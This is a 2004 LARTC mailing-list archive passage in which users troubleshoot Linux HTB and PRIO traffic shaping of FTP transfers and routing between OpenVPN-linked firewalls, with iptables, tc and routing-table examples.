> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK --set-mark 20
> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26
[SNIP]

Can you determine what ports are being used for inbound data transfers?
What makes you select those ports you defined as the outbound??

-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 13:56:23 up 4:48, 7 users, load average: 0.32, 0.59, 0.50 

From lartc@chrismark.net  Fri Oct  8 08:06:50 2004
From: lartc@chrismark.net (chris)
Date: Fri, 8 Oct 2004 00:06:50 -0700 (PDT)
Subject: [LARTC] shaping outbound ftp traffic on 1 nic not working
 properly
In-Reply-To: <7132b970e878.70e8787132b9@tampabay.rr.com>
References: <7132b970e878.70e8787132b9@tampabay.rr.com>
Message-ID: <38634.142.173.26.163.1097219210.squirrel@webmail.chrismark.net>

Is the inbound rate affected even if there are no outbound transfers?  Is
the speed actually being "limited" to a certain speed, or are you just
noticing that the inbound/upload traffic is slower than it should be.

The reason I ask is because you're tagging all outbound ftp-data traffic
(ports 50000:51000) and directing it to the class with 39kbps.  If you
have outbound/download transfers going, they may be using all the
available outbound bandwidth for that class and causing outbound ACK
packets (for the inbound/upload traffic) to queue and throttle the inbound
speed.

Please don't flame me if I'm way off base...

Assumption:
- data connection is bi-directional.  ie. the data connection is made on
the specified PASV (server) ports (50000:51000) regardless of whether it's
an upload or download.

Test:
- simply kill all downloads and see if the uploads are still affected.
- or you can tag oubound ACK packets and filter them into the faster class.

chris


>>Theory is.. You can only shape outbound traffic.
> Inbound is via tcp windowshaping etc..
>
> In theory yes, but it is shaping inbound transfers to my server.
>
>>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK
>>> --set-mark 20
>>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK
>>> --set-mark 20
>>> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark
>>> 26
>
>>Why do you care about destination port?
>>AFAIK, it shouldn't affect your wants since you're >not filtering on
>>incoming traffic
>
> I dont care about destination port.  That line was commented.  BUT,
> incoming transfers are being shaped for some reason.
>
>>Is this legal?? 10000mbps?? Wow.. 10000*1E6?
>
> I just did that to make sure lan traffic was not affected at all.
>
>
> enire script for reference....
> I am using the following script to limit my outbound traffic. This scipt
> runs on a box behind my firewall. It limits my outbound passive ftp
> traffic to 39K perfectly....just like i want. However, i just noticed that
> it is also limiting uploads coming to my server.
>
> Is there something I can change to make it not limit uploads to my server?
> #!/bin/bash
> #shaping passive ftp traffic
>
> # mark the outbound passive ftp packets on ports 50000-51000
> iptables -t mangle -D POSTROUTING -o eth0 -j MYSHAPER-OUT 2> /dev/null >
> /dev/null
> iptables -t mangle -F MYSHAPER-OUT 2> /dev/null > /dev/null
> iptables -t mangle -X MYSHAPER-OUT 2> /dev/null > /dev/null
>
> iptables -t mangle -N MYSHAPER-OUT
> iptables -t mangle -I POSTROUTING -o eth0 -j MYSHAPER-OUT
>
> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark
> 20
> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK
> --set-mark 20
> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26
> # clear it
> tc qdisc del dev eth0 root
>
> #add the root qdisk
> tc qdisc add dev eth0 root handle 1: htb default 26
>
> #add main rate limit class
> tc class add dev eth0 parent 1: classid 1:1 htb rate 10000mbps
>
> #add leaf classes
> tc class add dev eth0 parent 1:1 classid 1:26 htb rate 10000mbps
> tc class add dev eth0 parent 1:1 classid 1:20 htb rate 39kbps
>
> #filter traffic into classes
> tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 20 fw flowid
> 1:20
> tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 26 fw flowid
> 1:26
>
>
>
>
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>


From rmocius@auste.elnet.lt  Fri Oct  8 12:03:57 2004
From: rmocius@auste.elnet.lt (Remus)
Date: Fri, 8 Oct 2004 12:03:57 +0100
Subject: [LARTC] Problem with VPN routing from internal network
Message-ID: <014301c4ad26$82e206f0$6e69690a@RIMAS>

This is a multi-part message in MIME format.

------=_NextPart_000_0140_01C4AD2E.E4129360
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi folks,

I have the two firewalls (Slackware current) in differnt cities =
connected via OpenVPN.
I can ping the network behind server firewall from client firewall =
server.
But how to route/iptable network traffic from the network behind client =
firewall to see the netwrok behind server firewall?

Thank you

Remus

------=_NextPart_000_0140_01C4AD2E.E4129360
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2900.2180" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi folks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have the two firewalls (Slackware =
current) in=20
differnt cities connected via OpenVPN.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I can ping the network behind server =
firewall from=20
client firewall server.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>But how to route/iptable network =
traffic from the=20
network behind client firewall to see the netwrok behind server=20
firewall?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Remus</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0140_01C4AD2E.E4129360--



From andy.furniss@dsl.pipex.com  Fri Oct  8 13:36:11 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Fri, 08 Oct 2004 13:36:11 +0100
Subject: [LARTC] HTB weird problem ....
In-Reply-To: <20041008014007.4421.qmail@web50305.mail.yahoo.com>
References: <20041008014007.4421.qmail@web50305.mail.yahoo.com>
Message-ID: <416689BB.6070506@dsl.pipex.com>

Drink Linux wrote:
> Hello good day to all ... this is my setup
> 1 Linux Wireless Access Point, connected are 4
> wireless gateway in which i needed to apply shaping
> ...
> ok here is the weird part... clients on each gateway
> download files from the Acess Point ... a 500 mb file
> through ftp
> 
> on gateway 1 which is up to 64 kbps ... the result is
> from 60-64 kbps speed which is fine ...
> 
> on gateway 2 which is 128 kbps ... the result is
> varying from 130 - 132 kbps (why does it exceed)? but
> it is acceptable nevertheless
> 
> on gateway 3 which is up to 256 kbps ... the result is
> the lowest rate clients can get is up to 285-286 above
> limit ?!?!! why did that happen...
> 
> on gateway 4 .. which is up to 512 kbps ... the rate
> of the client is up to 600+ kbps ... why is that so ?!
> 
> anyway here is my script for anyone who can help
> ...thanks
> 
> one thing is when i ftp 2 files ... the speed is
> higher than the ceiling limit ....
> 
> kernel is 2.4.22 ... with QoS enabled ....
> 
> 
> 
> 
> tc qdisc add dev wlan0 root handle 1:0 htb
> 
> tc class add dev wlan0 parent 1:0 classid 1:1 htb rate
> 1024kbps ceil 1024kbps 
> 
> tc class add dev wlan0 parent 1:1 classid 1:10 htb
> rate 1kbps ceil 64kbps  
> tc class add dev wlan0 parent 1:1 classid 1:20 htb
> rate 1kbps ceil 128kbps
> tc class add dev wlan0 parent 1:1 classid 1:30 htb
> rate 1kbps ceil 256kbps
> tc class add dev wlan0 parent 1:1 classid 1:40 htb
> rate 1kbps ceil 512kbps
> 
> 
> tc filter add dev wlan0 parent 1:0 protocol ip u32
> match ip dst 10.40.40.245 flowid 1:10
> tc filter add dev wlan0 parent 1:0 protocol ip u32
> match ip dst 10.40.40.246 flowid 1:20
> tc filter add dev wlan0 parent 1:0 protocol ip u32
> match ip dst 10.40.40.247 flowid 1:30
> tc filter add dev wlan0 parent 1:0 protocol ip u32
> match ip dst 10.40.40.248 flowid 1:40

kbps = k bytes/sec maybe you mean kbit for the rates.

Andy.



From huetmann@site38.ping.at  Fri Oct  8 13:44:31 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Fri, 8 Oct 2004 14:44:31 +0200 (CEST)
Subject: [LARTC] Problem with VPN routing from internal network
In-Reply-To: <014301c4ad26$82e206f0$6e69690a@RIMAS>
Message-ID: <Pine.LNX.4.44.0410081439500.6239-100000@george.eliot.priv.at>

Hi!

Correct me if I am wrong, what it looks like to me is this : 


192.168.1.0/24		10.0.0.1	   10.0.0.2	192.168.2.0/24
server net		serverfw  openvpn  clientfw	client net

On the serverfw you need a static route to the client net:
route add net 192.168.2.0 netmask 255.255.255.0 gw 10.0.0.2

On the client net the other way round:
route add net 192.168.1.0 netmask 255.255.255.0 gw 10.0.0.1

Firewall must allow all traffic through tun+
And of course must allow traffic coming from the opposite network. 

Hope this helps, 

.peter





On Fri, 8 Oct 2004, Remus wrote:





> Hi folks,
> 
> I have the two firewalls (Slackware current) in differnt cities connected via OpenVPN.
> I can ping the network behind server firewall from client firewall server.
> But how to route/iptable network traffic from the network behind client firewall to see the netwrok behind server firewall?
> 
> Thank you
> 
> Remus
> 


From drinklinux@yahoo.com  Fri Oct  8 14:04:44 2004
From: drinklinux@yahoo.com (Drink Linux)
Date: Fri, 8 Oct 2004 06:04:44 -0700 (PDT)
Subject: [LARTC] HTB weird problem ....
In-Reply-To: <416689BB.6070506@dsl.pipex.com>
Message-ID: <20041008130445.14888.qmail@web50309.mail.yahoo.com>

hello Andy , i think they are right for 
256kbps = 2048kbit ...


i have added a leaf pfifo with a limit of 1 packet per
second, coz if i have 2-10 it wont work...viola !!!
the ceiling rate for each class rule is now working...
my problem is that you can reach the ceiling class
only if you have 4-5 files getting through FTP, 

ex: 256kbps Ceil

    1 file ftp download = 80-90 kbps max speed 
    4-5 files ftp download = almost 256kbps


how can i make it work to 256kbps speed for 1 file
alone ...? 


:)

 





--- Andy Furniss <andy.furniss@dsl.pipex.com> wrote:

> Drink Linux wrote:
> > Hello good day to all ... this is my setup
> > 1 Linux Wireless Access Point, connected are 4
> > wireless gateway in which i needed to apply
> shaping
> > ...
> > ok here is the weird part... clients on each
> gateway
> > download files from the Acess Point ... a 500 mb
> file
> > through ftp
> > 
> > on gateway 1 which is up to 64 kbps ... the result
> is
> > from 60-64 kbps speed which is fine ...
> > 
> > on gateway 2 which is 128 kbps ... the result is
> > varying from 130 - 132 kbps (why does it exceed)?
> but
> > it is acceptable nevertheless
> > 
> > on gateway 3 which is up to 256 kbps ... the
> result is
> > the lowest rate clients can get is up to 285-286
> above
> > limit ?!?!! why did that happen...
> > 
> > on gateway 4 .. which is up to 512 kbps ... the
> rate
> > of the client is up to 600+ kbps ... why is that
> so ?!
> > 
> > anyway here is my script for anyone who can help
> > ...thanks
> > 
> > one thing is when i ftp 2 files ... the speed is
> > higher than the ceiling limit ....
> > 
> > kernel is 2.4.22 ... with QoS enabled ....
> > 
> > 
> > 
> > 
> > tc qdisc add dev wlan0 root handle 1:0 htb
> > 
> > tc class add dev wlan0 parent 1:0 classid 1:1 htb
> rate
> > 1024kbps ceil 1024kbps 
> > 
> > tc class add dev wlan0 parent 1:1 classid 1:10 htb
> > rate 1kbps ceil 64kbps  
> > tc class add dev wlan0 parent 1:1 classid 1:20 htb
> > rate 1kbps ceil 128kbps
> > tc class add dev wlan0 parent 1:1 classid 1:30 htb
> > rate 1kbps ceil 256kbps
> > tc class add dev wlan0 parent 1:1 classid 1:40 htb
> > rate 1kbps ceil 512kbps
> > 
> > 
> > tc filter add dev wlan0 parent 1:0 protocol ip u32
> > match ip dst 10.40.40.245 flowid 1:10
> > tc filter add dev wlan0 parent 1:0 protocol ip u32
> > match ip dst 10.40.40.246 flowid 1:20
> > tc filter add dev wlan0 parent 1:0 protocol ip u32
> > match ip dst 10.40.40.247 flowid 1:30
> > tc filter add dev wlan0 parent 1:0 protocol ip u32
> > match ip dst 10.40.40.248 flowid 1:40
> 
> kbps = k bytes/sec maybe you mean kbit for the
> rates.
> 
> Andy.




__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From andy.furniss@dsl.pipex.com  Fri Oct  8 14:28:13 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Fri, 08 Oct 2004 14:28:13 +0100
Subject: [LARTC] PRIO not working?
In-Reply-To: <20040920083351.04FB85E5F@smtp.nextra.cz>
References: <20040920083351.04FB85E5F@smtp.nextra.cz>
Message-ID: <416695ED.1020608@dsl.pipex.com>

Phill wrote:
> Hello,
> 	I am using a simple script, which is based on prio. The point is,
> that it is not possible to use htb on wifi networks, so I thought that prio
> will work fine, but it does almost nothing.
> 
> All I wanted was to make the important packets like icmp, games, VoIP,... to
> go first, and to slow the things like FTP data transfer, etc.
> 
> When I use $TC -s qdisc show dev ${IFACE}, I see, that the packets go to
> correct qdiscs.
> But when I start FTP data transfer, then the ping time is same with and
> without this shaping.
> 
> I should also mention, that I am testing it on WiFi with hostap drivers,
> where the ping times are about 2-3ms when idle and 100-150ms durring high
> traffic.
> 
> Is the first/fastest prio class really 1:1, and the last/slowest is 1:4?
> 
> Or did I miss something else?
> 
> A part of the code follows:
> 
> $TC qdisc add dev ${IFACE} root handle 1:0 prio bands 4 priomap 2 2 2 2 2 2
> 0 0 1 2 2 2 2 2 2 2 2>/dev/null
> 
>     $TC qdisc add dev ${IFACE} parent 1:1 handle 10 sfq quantum 1514b
> perturb 10
>     $TC qdisc add dev ${IFACE} parent 1:2 handle 20 sfq quantum 1514b
> perturb 10
>     $TC qdisc add dev ${IFACE} parent 1:3 handle 30 sfq quantum 1514b
> perturb 10
>     $TC qdisc add dev ${IFACE} parent 1:4 handle 40 sfq quantum 1514b
> perturb 10
> 
>     $TC filter add dev ${IFACE} parent 1:0 protocol ip handle 1 fw flowid
> 1:1
>     $TC filter add dev ${IFACE} parent 1:0 protocol ip handle 2 fw flowid
> 1:2
>     $TC filter add dev ${IFACE} parent 1:0 protocol ip handle 3 fw flowid
> 1:3
>     $TC filter add dev ${IFACE} parent 1:0 protocol ip handle 4 fw flowid
> 1:4
> 
> 
> $IPT -t mangle -A POSTROUTING -o ${IFACE} -j MARK --set-mark 1
> .......
> $IPT -t mangle -A POSTROUTING -o ${IFACE} -p tcp --dport 20 -j MARK
> --set-mark 2
> $IPT -t mangle -A POSTROUTING -o ${IFACE} -p tcp --sport 20 -j MARK
> --set-mark 2
> .......

You need to limit the rate to less than link speed by making the prio a 
child of an htb class.

Andy.



From rmocius@auste.elnet.lt  Fri Oct  8 14:46:00 2004
From: rmocius@auste.elnet.lt (Remus)
Date: Fri, 8 Oct 2004 14:46:00 +0100
Subject: [LARTC] Problem with VPN routing from internal network + tun0 and traffic shaping
References: <Pine.LNX.4.44.0410081439500.6239-100000@george.eliot.priv.at>
Message-ID: <019901c4ad3d$25a57ff0$6e69690a@RIMAS>

You are correct Peter.
But that is not enough to have access from client local lan to serevr client 
local lan.
The line below helpped me to fix it:
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -o tun0 -j SNAT --to-source 
10.0.0.2

So there is one more problem, how to access from the server local net 
client's local net?
Any ideas?

And how to shape traffic going via tun0?

At the moment I have htb on eth0 and imq0 to shape in and out traffic?
But what about VPN traffic which goes via tun0?

Thanks

Remus

----- Original Message ----- 
From: "Peter Huetmannsberger" <huetmann@site38.ping.at>
To: <lartc@mailman.ds9a.nl>
Sent: Friday, October 08, 2004 1:44 PM
Subject: Re: [LARTC] Problem with VPN routing from internal network


>
> Hi!
>
> Correct me if I am wrong, what it looks like to me is this :
>
>
> 192.168.1.0/24 10.0.0.1    10.0.0.2 192.168.2.0/24
> server net serverfw  openvpn  clientfw client net
>
> On the serverfw you need a static route to the client net:
> route add net 192.168.2.0 netmask 255.255.255.0 gw 10.0.0.2
>
> On the client net the other way round:
> route add net 192.168.1.0 netmask 255.255.255.0 gw 10.0.0.1
>
> Firewall must allow all traffic through tun+
> And of course must allow traffic coming from the opposite network.
>
> Hope this helps,
>
> .peter
>
>
>
>
>
> On Fri, 8 Oct 2004, Remus wrote:
>
>
>
>
>
>> Hi folks,
>>
>> I have the two firewalls (Slackware current) in differnt cities connected 
>> via OpenVPN.
>> I can ping the network behind server firewall from client firewall 
>> server.
>> But how to route/iptable network traffic from the network behind client 
>> firewall to see the netwrok behind server firewall?
>>
>> Thank you
>>
>> Remus
>>
>
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>
> 



From huetmann@site38.ping.at  Fri Oct  8 15:28:09 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Fri, 8 Oct 2004 16:28:09 +0200 (CEST)
Subject: [LARTC] Problem with VPN routing from internal network + tun0
 and traffic shaping
In-Reply-To: <019901c4ad3d$25a57ff0$6e69690a@RIMAS>
Message-ID: <Pine.LNX.4.44.0410081606500.11166-100000@george.eliot.priv.at>


OK. I didn't know you wanted to NAT the traffic. If you have the default 
gw on your client-net set to the client-gw AND you forward the traffic, 
i.e. set your ip_forward to 1 AND you allow that in your iptables, there 
is no need to NAT the traffic at all. (If you have a static route set to 
your server-net via the tunnel)

I have a similar setup and all I do is:

excerpt from `route -n`
192.168.42.1  0.0.0.0      255.255.255.255 UH  0  0   0 tun0
192.168.42.0  192.168.42.1 255.255.255.0  UG 0   0    0 tun0

Which means the fw fins 192.168.42.1 by looking through the tunnel, and 
the whole network by looking at the far end of the tunnel. 

On the other side it is the exact the same way, except of course turned 
around. 

I saved myself the trouble of having an extra net fo rthe tunnel, I just 
gave the tun0 device the same ipaddress as the internal (i.e. the client) 
network. so it actually looks like this: 

192.168.42.0/24 ---192.168.42.1 ---tunnel---192.168.1.101--192.168.1.0/24
 
This setup has worked very well for me for years, if you see anything 
wrong with it let me know, I am willing to learn. 

As long as packets get forwarded on both gateways there is no need to NAT. 


I can ping any machine from either network, and have samba working for all 
those clients, so it must be reasonable.


As for traffic shaping, I would do the shaping on the internal interface 
(the one pointing to your network behind the fw), there you have control 
of incoming traffic via htb (as the traffic going to the clients is 
outgoing).

I hope all of this is correct. 

Good luck, 

.peter


On Fri, 8 Oct 2004, Remus wrote:

> You are correct Peter.
> But that is not enough to have access from client local lan to serevr client 
> local lan.
> The line below helpped me to fix it:
> iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -o tun0 -j SNAT --to-source 
> 10.0.0.2
> 
> So there is one more problem, how to access from the server local net 
> client's local net?
> Any ideas?
> 
> And how to shape traffic going via tun0?
> 
> At the moment I have htb on eth0 and imq0 to shape in and out traffic?
> But what about VPN traffic which goes via tun0?
> 
> Thanks
> 
> Remus
> 


From andy.furniss@dsl.pipex.com  Fri Oct  8 15:58:46 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Fri, 08 Oct 2004 15:58:46 +0100
Subject: [LARTC] HTB weird problem ....
In-Reply-To: <20041008130445.14888.qmail@web50309.mail.yahoo.com>
References: <20041008130445.14888.qmail@web50309.mail.yahoo.com>
Message-ID: <4166AB26.8040201@dsl.pipex.com>

Drink Linux wrote:
> hello Andy , i think they are right for 
> 256kbps = 2048kbit ...

ahh I see.

I just tried your setup on my eth0 and it works OK. Though HTB's stats 
don't seem too accurate - I used wget/ftp to judge rates.

You may need to patch HTB/use a newer kernel - there was a patch posted 
on this list a while back which may affect you.

Also you may need to set Hz higher or use psched = CPU for timing.

See www.docum.org .

> 
> 
> i have added a leaf pfifo with a limit of 1 packet per
> second, coz if i have 2-10 it wont work...viola !!!
> the ceiling rate for each class rule is now working...
> my problem is that you can reach the ceiling class
> only if you have 4-5 files getting through FTP, 
> 
> ex: 256kbps Ceil
> 
>     1 file ftp download = 80-90 kbps max speed 
>     4-5 files ftp download = almost 256kbps
> 
> 
> how can i make it work to 256kbps speed for 1 file
> alone ...? 

Get rid of the 1 packet pfifo :-)

Andy.





From jasonb@edseek.com  Fri Oct  8 16:06:32 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Fri, 8 Oct 2004 11:06:32 -0400
Subject: [LARTC] HTB weird problem ....
In-Reply-To: <4166AB26.8040201@dsl.pipex.com>
References: <20041008130445.14888.qmail@web50309.mail.yahoo.com> <4166AB26.8040201@dsl.pipex.com>
Message-ID: <200410081106.32590.jasonb@edseek.com>

On Friday 08 October 2004 10:58, Andy Furniss wrote:
<snip>
> Also you may need to set Hz higher or use psched = CPU for timing.

In 2.6.9 this looks like it'll be part of the `make config` process itself. :)

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From rmocius@auste.elnet.lt  Fri Oct  8 16:11:01 2004
From: rmocius@auste.elnet.lt (Rimas)
Date: Fri, 8 Oct 2004 16:11:01 +0100
Subject: [LARTC] Problem with VPN routing from internal network + tun0 and traffic shaping
References: <Pine.LNX.4.44.0410081606500.11166-100000@george.eliot.priv.at>
Message-ID: <025801c4ad49$06190f60$6e69690a@RIMAS>

Hi Peter,

I already tried to give the IP from the same network for my tunnel, but 
OpenVPN 2.0b11 just blocks
after that access to firewall via internal IP.
So I gave the different IP space.

My setup is here
Server:

ifconfig
The OpenVPN goes via this Wireless line
eth0      Link encap:Ethernet  HWaddr 00:10:5A:A3:9B:58
          inet addr:1.2.3.4  Bcast:x.x.x.x  Mask:255.255.255.248

Second ADSL line
eth1      Link encap:Ethernet  HWaddr 00:50:DA:3C:D9:7B
          inet addr:2.2.3.4  Bcast:x.x.x.x  Mask:255.255.255.0

Local net
eth2      Link encap:Ethernet  HWaddr 00:04:76:23:43:36
          inet addr:10.105.105.199  Bcast:10.105.105.255  Mask:255.255.255.0

tun0      Link encap:UNSPEC  HWaddr 
00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          inet addr:10.10.10.1  P-t-P:10.10.10.2  Mask:255.255.255.255

Routing table
10.10.10.2      *               255.255.255.255 UH    0      0        0 tun0
2.2.3.x    *               255.255.255.255 UH    0      0        0 eth1
1.2.3.x   *               255.255.255.248 U     0      0        0 eth0
2.2.3.x    *               255.255.255.0   U     0      0        0 eth1
10.10.10.0      10.10.10.2      255.255.255.0   UG    0      0        0 tun0
10.105.105.0    *               255.255.255.0   U     0      0        0 eth2
10.1.1.0        10.10.10.2      255.255.255.0   UG    0      0        0 tun0
loopback        *               255.0.0.0       U     0      0        0 lo
default         2.2.3.x    0.0.0.0         UG    0      0        0 eth1


Client:
ifconfig
# ADSL connection
eth0      Link encap:Ethernet  HWaddr 00:0A:5E:42:9E:88
          inet addr:192.168.0.129  Bcast:192.168.0.255  Mask:255.255.255.0

# Local net
eth1      Link encap:Ethernet  HWaddr 00:0A:5E:48:0A:E3
          inet addr:10.1.1.199  Bcast:10.1.1.255  Mask:255.255.255.0

tun0      Link encap:UNSPEC  HWaddr 
00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          inet addr:10.10.10.6  P-t-P:10.10.10.5  Mask:255.255.255.255

Routing table
10.10.10.5      *               255.255.255.255 UH    0      0        0 tun0
192.168.0.0     *               255.255.255.0   U     0      0        0 eth0
10.10.10.0      10.10.10.5      255.255.255.0   UG    0      0        0 tun0
10.105.105.0    10.10.10.5      255.255.255.0   UG    0      0        0 tun0
10.1.1.0        *               255.255.255.0   U     0      0        0 eth1
loopback        *               255.0.0.0       U     0      0        0 lo
default         192.168.0.1     0.0.0.0         UG    1      0        0 eth0

Iptables rule
iptables -t nat -A POSTROUTING -s 10.1.1.0/24 -o tun0 -j SNAT --to-source 
10.10.10.6

So the client configuration works fine for me, but how to make access client 
local net from server and server local net?

Thanks

Remus


----- Original Message ----- 
From: "Peter Huetmannsberger" <huetmann@site38.ping.at>
To: <lartc@mailman.ds9a.nl>
Sent: Friday, October 08, 2004 3:28 PM
Subject: Re: [LARTC] Problem with VPN routing from internal network + tun0 
and traffic shaping


>
>
> OK. I didn't know you wanted to NAT the traffic. If you have the default
> gw on your client-net set to the client-gw AND you forward the traffic,
> i.e. set your ip_forward to 1 AND you allow that in your iptables, there
> is no need to NAT the traffic at all. (If you have a static route set to
> your server-net via the tunnel)
>
> I have a similar setup and all I do is:
>
> excerpt from `route -n`
> 192.168.42.1  0.0.0.0      255.255.255.255 UH  0  0   0 tun0
> 192.168.42.0  192.168.42.1 255.255.255.0  UG 0   0    0 tun0
>
> Which means the fw fins 192.168.42.1 by looking through the tunnel, and
> the whole network by looking at the far end of the tunnel.
>
> On the other side it is the exact the same way, except of course turned
> around.
>
> I saved myself the trouble of having an extra net fo rthe tunnel, I just
> gave the tun0 device the same ipaddress as the internal (i.e. the client)
> network. so it actually looks like this:
>
> 192.168.42.0/24 ---192.168.42.1 ---tunnel---192.168.1.101--192.168.1.0/24
>
> This setup has worked very well for me for years, if you see anything
> wrong with it let me know, I am willing to learn.
>
> As long as packets get forwarded on both gateways there is no need to NAT.
>
>
> I can ping any machine from either network, and have samba working for all
> those clients, so it must be reasonable.
>
>
> As for traffic shaping, I would do the shaping on the internal interface
> (the one pointing to your network behind the fw), there you have control
> of incoming traffic via htb (as the traffic going to the clients is
> outgoing).
>
> I hope all of this is correct.
>
> Good luck,
>
> .peter
>
>
> On Fri, 8 Oct 2004, Remus wrote:
>
>> You are correct Peter.
>> But that is not enough to have access from client local lan to serevr 
>> client
>> local lan.
>> The line below helpped me to fix it:
>> iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -o tun0 -j 
>> SNAT --to-source
>> 10.0.0.2
>>
>> So there is one more problem, how to access from the server local net
>> client's local net?
>> Any ideas?
>>
>> And how to shape traffic going via tun0?
>>
>> At the moment I have htb on eth0 and imq0 to shape in and out traffic?
>> But what about VPN traffic which goes via tun0?
>>
>> Thanks
>>
>> Remus
>>
>
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>
> 



From nix4me@cfl.rr.com  Fri Oct  8 16:42:19 2004
From: nix4me@cfl.rr.com (nix4me@cfl.rr.com)
Date: Fri, 08 Oct 2004 11:42:19 -0400
Subject: [LARTC] shaping outbound ftp traffic
Message-ID: <76523d7674c0.7674c076523d@tampabay.rr.com>

>In theory yes, but it is shaping inbound transfers to my server.

>YOu're not doing any other sort of Ingress filters are you??

No

>I dont care about destination port.  That line was commented.  BUT, incoming transfers are being shaped for some reason.

>Could this be shaping on the ISP side?? What >happens when the tc rules
>are shut off??

No, everything works fine

>Can you determine what ports are being used for >inbound data transfers?
>What makes you select those ports you defined as >the outbound??

Same ports, 50000-51000 and 65437. 
I choose these ports because they are the ports that I have passive ftp traffic on and 65437 is the active ftp port.
  
I just dont understand why the inbound traffic is being limited.  The outbound shaping works fine.
 
Script:
I am using the following script to limit my outbound traffic. This scipt runs on a box behind my firewall. It limits my outbound passive ftp traffic to 39K perfectly....just like i want. However, i just noticed that it is also limiting uploads coming to my server.

Is there something I can change to make it not limit uploads to my server?
#!/bin/bash
#shaping passive ftp traffic

# mark the outbound passive ftp packets on ports 50000-51000
iptables -t mangle -D POSTROUTING -o eth0 -j MYSHAPER-OUT 2> /dev/null > /dev/null
iptables -t mangle -F MYSHAPER-OUT 2> /dev/null > /dev/null
iptables -t mangle -X MYSHAPER-OUT 2> /dev/null > /dev/null

iptables -t mangle -N MYSHAPER-OUT
iptables -t mangle -I POSTROUTING -o eth0 -j MYSHAPER-OUT

iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark 20
iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK --set-mark 20
iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26
# clear it
tc qdisc del dev eth0 root

#add the root qdisk
tc qdisc add dev eth0 root handle 1: htb default 26

#add main rate limit class
tc class add dev eth0 parent 1: classid 1:1 htb rate 10000mbps

#add leaf classes
tc class add dev eth0 parent 1:1 classid 1:26 htb rate 10000mbps
tc class add dev eth0 parent 1:1 classid 1:20 htb rate 39kbps

#filter traffic into classes
tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 20 fw flowid 1:20
tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 26 fw flowid 1:26


From nix4me@cfl.rr.com  Fri Oct  8 16:46:44 2004
From: nix4me@cfl.rr.com (nix4me@cfl.rr.com)
Date: Fri, 08 Oct 2004 11:46:44 -0400
Subject: [LARTC] shaping outbound ftp traffic
Message-ID: <73cb10737dcd.737dcd73cb10@tampabay.rr.com>

Yes, inbound is affected even though outbound transfers are suspended.  The inbound in shaped to 39K.  This is what totally confuses me.  I thought with my script that only traffic leaving source ports 50000-51000 & 65437 should be shaped.  But it is also shaping traffic entering my machine on the same ports.

.................

Is the inbound rate affected even if there are no outbound transfers?  Is
the speed actually being "limited" to a certain speed, or are you just
noticing that the inbound/upload traffic is slower than it should be.

The reason I ask is because you're tagging all outbound ftp-data traffic
(ports 50000:51000) and directing it to the class with 39kbps.  If you
have outbound/download transfers going, they may be using all the
available outbound bandwidth for that class and causing outbound ACK
packets (for the inbound/upload traffic) to queue and throttle the inbound
speed.

Please don't flame me if I'm way off base...

Assumption:
- data connection is bi-directional.  ie. the data connection is made on
